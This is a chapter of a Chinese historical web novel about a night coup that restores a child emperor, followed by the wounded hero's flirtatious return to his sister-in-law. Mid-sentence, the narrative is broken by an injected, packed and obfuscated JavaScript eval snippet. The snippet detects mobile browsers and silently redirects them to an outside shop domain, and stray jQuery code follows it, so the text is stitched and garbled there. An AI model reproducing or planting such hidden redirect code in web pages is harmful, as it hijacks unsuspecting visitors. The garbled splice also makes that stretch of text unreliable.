这场打着“复子明辟”的名义的起兵比预估的要顺利很多。
今夜守东城门的是王同衍,因之前琼山学宫大火一事他救驾有功,如今监管东营卫。
漆黑的夜里,乌云遮住了月光,城墙下的烛灯犹如鬼火。
王同衍站在城墙上,高声喝问:“来者何人?深夜兵临城下是何意味?”
陆叙白微微挑眉,拍了拍手,示意荆州来的齐怀山带着萧玉站出来。
齐怀山负手而立,向上朗声道:“某此行只为拨乱反正,还政于少帝。还望王将军莫要阻拦。”
萧玉上前两步,九岁的孩子双腿微颤,却还是坚定地站到了齐怀山面前,声音虽稚嫩,却也坚决:“我乃大邺永安帝,命你立刻打开城门!”
“违者视作叛军处理!”
陆叙白朝他投去惊诧一眼。
城外的喧哗惊动了城中的守卫,城墙上,弓弩手已经就位。
陆叙白抬手,身后的部曲持甲楯上前,将主公护在身后,同时,弩手也举起了弓弩。
王同衍紧盯着下方兵士,皆是轻甲上阵,后方还有投石机,若真动手,以东城门的防备力量,大概能撑半个时辰。
但……他盯着下方的稚儿看了又看,的的确确和传闻死在大火中的少帝一模一样。
王同衍一向认为自己的政治天赋一般,但此刻,他敏锐地意识到了一件事:齐家明显有备而来,所以无论如何,今夜东城门必破。
所以是浴血奋战挣一把救驾有功,还是打开城门赌一个从龙之功呢?
王同衍陷入犹豫,他已经三十多了,当年的同袍已经成了都督一方的刺史、将军,而他却还只是一个小小的五营校尉。
片刻后,王同衍抬手,让营卫暂时收起弓弩。他抖了抖袖袍,抽出长剑,手撑在城墙上纵身跃向地面。
“素闻宁远将军勇武,某特来一会。”
陆叙白侧身躲开他的剑,抓起长枪与他战在一处。
齐怀山趁机下令道:“撞门!”
——咚、咚、咚……
数次撞击过后,见城门隐隐有要破开的趋势,城墙上的营卫急道:“还不快放箭!”
弩兵队长摇摇头:“不行,校尉还在下面,这时放箭恐会误伤。”
陆叙白此时也看出来了王同衍的意图,他嗤笑:“王将军还真是什么都想要。”
错身之际,王同衍道:“我只是比较谨慎。”
见今日的戏已经做足了,他故意失手,肩膀撞向陆叙白手中长枪,“我这一关虽简单易过,城内可就没这么轻易了,如果不出意外,这个时候禁军与大司马府已经收到消息了。”
“小郎君若此时转头回家,送某一个救驾之功,某也将感激不尽。”
陆叙白:“离弦之箭,已经没有回头路了。”
轰隆!
城门已破。
陆叙白长枪挑地,纵身跃上空中,高声道:“永安帝今夜复子明辟,阻拦者以叛军论处,格杀勿论!”
夜凉如水,肃杀的月光洒落,血雾在长街中弥漫。
入了城,陆叙白与齐怀山兵分两路,齐怀山带着少帝直入宫城,而他则负责阻拦五营营卫。
长街的尽头,一位鬓间花白的老者持杖静静站着,似在等待什么人。
陆叙白停下脚步,打量了他两眼,漫不经心道:“原来是大司马。”
老者抬眸,眸光比月色还要清亮,“你是何人?”
陆叙白:“越溪陆家,陆叙白。”
老者垂眸:“不认识。”
陆叙白鼻腔哼了声,似笑非笑道:“你三儿子是我杀的。”
空气有片刻凝滞。
大司马抬起头,眼中一片猩红,他对身侧一名持双剑的护卫道:“杀了他。”
言毕,护卫立刻冲了出去。
大司马转身往皇宫的方向走去。
皇宫处,禁军与齐怀山带来的人马打在一处。
齐怀山衣袍带血,那些血有他自己的,但更多的是别人的。
“阿玉,别怕。”他低头对双腿打颤的少帝说,“当你决定要重新坐上那个万人之上的位置时,就应该要学会接受这条路注定只能用尸骸堆出来。”
萧玉回头深深看了眼染血的台阶和倒在地上的将士,闭了闭眼,认真地说:“表哥,我不会再怕了。”
明德殿外,任千山手持弓弩,一箭击杀冲向前的荆州军,很快弩箭用尽,他扔掉弓弩,足尖将地上死去禁卫的佩刀勾来手中,正准备冲下去杀敌时,身后传来内侍尖锐的声音:“圣上有令,宣齐将军入殿觐见!”
任千山诧目,他透过半掩的门缝望过去,只见半边脸被火烧毁的永成帝身着黄袍,披头散发,抱着十二旒冠坐在龙椅之上。
他神情凝住,不是让陛下从密道出宫了吗?
“任卿,你走吧。”帝王沙哑的声音传来,“君王有君王的死法,你不必陪我同殉。”
任千山提步向前,却是站在了殿门中央,“陛下,臣不会走。救命之恩、知遇之恩,如今唯死以报。”
齐怀山抓着少帝的手,缓步走向明德殿。
任千山横剑拦住了他们的去路,齐怀山停步,他站定在门口,目光平静,三息过后,二人同时出掌。
曾为同袍,今夜却不得不提剑相向。
——皆为了各自的君主。
一掌过后,二人同时后退数步。齐怀山喉头微腥,他看着呕出一捧殷红的任千山,说:“看在当年共同驱逐胡虏的情分上,你若就此退开,我愿意留你一条性命。”
任千山运转内力压下上涌的血气,沉声说:“我说过了,除非我死,否则没有人可以踏入明德殿。”
“跟他废什么话!”上方突然传来一道不耐烦的声音,齐怀山扭头望过去,一杆长枪以极快的速度擦着他面颊飞过,任千山反应不及,被长枪贯穿胸口,鲜血流了一地,闭眼前,他深深看了这个追随了半辈子的帝王一眼,从毒瘴遍地的宁州到市井繁华的建康,终究是成者王侯败者寇啊!
齐怀山拉着少帝跨过门槛,直视着萧羽舟。
萧羽舟把玩着手中旒冠,讥讽道:“齐将军这么急,连三请三让都不愿意了吗?”
齐怀山:“永安帝复子明辟,何需三请三让?”
萧羽舟转动脑袋,死死盯着萧玉说:“早知今日,我当时就应该斩草除根!”
可惜为时晚矣!
萧玉上前,眼尾一片猩红:“我要为我母后报仇。”
陆叙白抱臂倚在门框上,懒散地打量了眼殿内这三人,真是磨磨唧唧的。
但他并没有插手的打算,他本计划等到谢家在丹阳扣留出逃的萧羽舟后,寻机悄无声息地将他杀掉,但如今萧羽舟并没有逃走,显然他不能够再动手了。
此时动手便是弑君,若被这个死小孩反咬一口就坏了。他可不背这锅。
“走了。你们慢慢叙旧。”他消失在夜色中。
齐怀山同样没有插手萧玉与萧羽舟之间的仇恨,尽管萧羽舟害死了他的姑母。出发前,父亲严肃的叮嘱过他,说人心易变,就算萧玉是姑母的亲儿子,但他身上却流着和萧羽舟同样的萧家血脉。
所以,杀死皇帝的,唯有皇帝。
明月渐落,破晓时分,原先的内侍走出明德殿,冲朝外面正与荆、扬两州军士激烈厮杀的禁军尖声喊道:“乱贼萧羽舟已伏诛!今夜永安帝复子明辟,就此收手者既往不咎,若再顽抗,以叛国之罪论处,格杀勿论!”
不远处,站在钟楼上的大司马缓缓对下属道:“走吧。送我去丹阳。”
下属一愣,若是平日他断然不敢质疑主子的决策,到如今情势危急,他还是大着胆子问:“陛下那边我们不管了吗?”
大司马神情平静无波:“棋既已走废,便失了拯救的必要。”
下属仍有不解:“那为何要去丹阳?您不该去豫州吗?”
“不入虎穴,焉得虎子。”大司马目光犹如看蠢货
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17770379|208057||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一样。
……
东方亮起鱼肚白的时候,陆叙白卸了轻甲,扔了长枪,快马加鞭往越溪赶去。
一路上换了三匹马,终于在日暮时分回到了越溪。
骏马在石阶前勒住脚步,少年动作利索地翻身下马,一路小跑着穿过长长的石板路,走过了三个连廊、两个拱门,最后在夫人院前停下脚步。
守在门口的阿樾惊喜道:“小郎君?!”
这一唤,惊醒了屋内正呢喃念着佛经的夫人,她神情一怔,以为自己听错了。
“郡君,小郎君回来了!”阿樾又喊了一声。
齐慈盈扭头,熟悉的身影出现在视线里,少年郎松绿色的锦袍上血迹斑驳,左边袖子最为严重,被血水染成了另一种颜色。
“嫂嫂,我回来了。”他垂眸一笑。
心中的巨石落下,齐慈盈这一日一夜来积攒的疲惫骤然涌上身体,视线黑了几瞬,向前踉跄了几步。
陆叙白握住夫人瘦削的手腕,将她拉入怀中,但垂眸见自己血衣未换,又推开了夫人。
“嫂嫂,我们成功了。”他鼻尖碰了碰她的额角,轻声却得意地说。
比起起兵成功与否,齐慈盈此刻更关心他是否有受伤,鼻腔里涌入的浓郁的血腥味和他锦袍上触目惊心的红,惊得她心脏几乎停跳,关心的询问之语尚未说出口,眼泪先一步滑落。
滚烫的眼泪从妇人眼角簌簌滴落,如断弦一般怎么也止不住。陆叙白怔了怔神,慌忙道:“嫂嫂,你……你别哭,我……我没有事。”
齐慈盈显然不信,她急急忙忙命阿樾喊来府医为小郎君看伤,染血的锦袍褪去,露出少年郎宽阔的肩背与窄瘦的腰腹,左臂上的伤口深得几乎能看见骨头。
见夫人又要落泪,陆叙白抿了抿唇,说:“一点小伤,嫂嫂不用担心。”又补充,“那人已经被我杀死了。”
大司马的近身侍卫武功不低,两把长剑使得跟灵蛇一样,他不得不以伤换伤,废了好一番功夫才杀死他。
齐慈盈并没有被安慰到,她神情紧张地盯着府医为他上药,冰冷的匕首挑去血痂,鲜血顺着手臂凸起的静脉流到手上,少年郎薄唇紧抿,下颚线绷出隐忍的弧度,偶尔闷哼一声,却不好痛。
一盆又一盆血水被端出屋外倒掉,齐慈盈心疼极了,几乎不敢去想他究竟经历了怎样可怕的战斗。
府医将捣成糊状的草药用力摁在陆叙白的伤口上,再用纱布将他整个手臂缠绕起来,沉声叮嘱道:“家主,伤药一天一换,结疤之前绝不可碰水。”
陆叙白点点头,表示知道了。
阿樾起身送医师离开。
在建康城中厮杀了一晚上,身上染了不少血腥气,方才换药时又出了一身汗,身上黏糊糊的很是难受,陆叙白决定去沐浴一番再来找嫂嫂睡觉。
他走出两步,不知想到了什么,又折回来站定在嫂嫂面前,伸出另一只完好的胳膊,俯身捏了下她搭在膝上的手,歪头狡黠地眨了下眼:“医师说我的伤口不能见水,嫂嫂能不能帮帮我?我一只手实在不太方便。”
妇人疑惑抬眸,一双美眸里水汽未干,等想明白他的“帮帮我”是指帮什么后,她抿了抿唇,说道:“……你院中有侍从。”
“不要他们。”没有得到想要的回答,陆叙白屈膝跪坐在夫人面前,脑袋枕在夫人大腿的软肉上,长睫轻扇,做出一副可怜巴巴的模样:“嫂嫂就可怜可怜我吧,我为了你表弟的王权霸业,可是差点把命交待在了建康城里呢。”
寒凉的春夜里,少年脸颊温度滚烫,鼻腔呼出的热气穿过薄薄的布料喷洒在她小腹上,烫得她往后缩了一下。
陆叙白发现了她的抗拒,有些不高兴,他用并未受伤的手臂钳制住夫人那不堪一握的细腰,她真是瘦得可怜,也软得可怜。
他拇指缓慢向下……
齐慈盈猛地摁住他的手,并拢膝盖。
“不可以再往下了。”她说,“我去让下人准备热水。”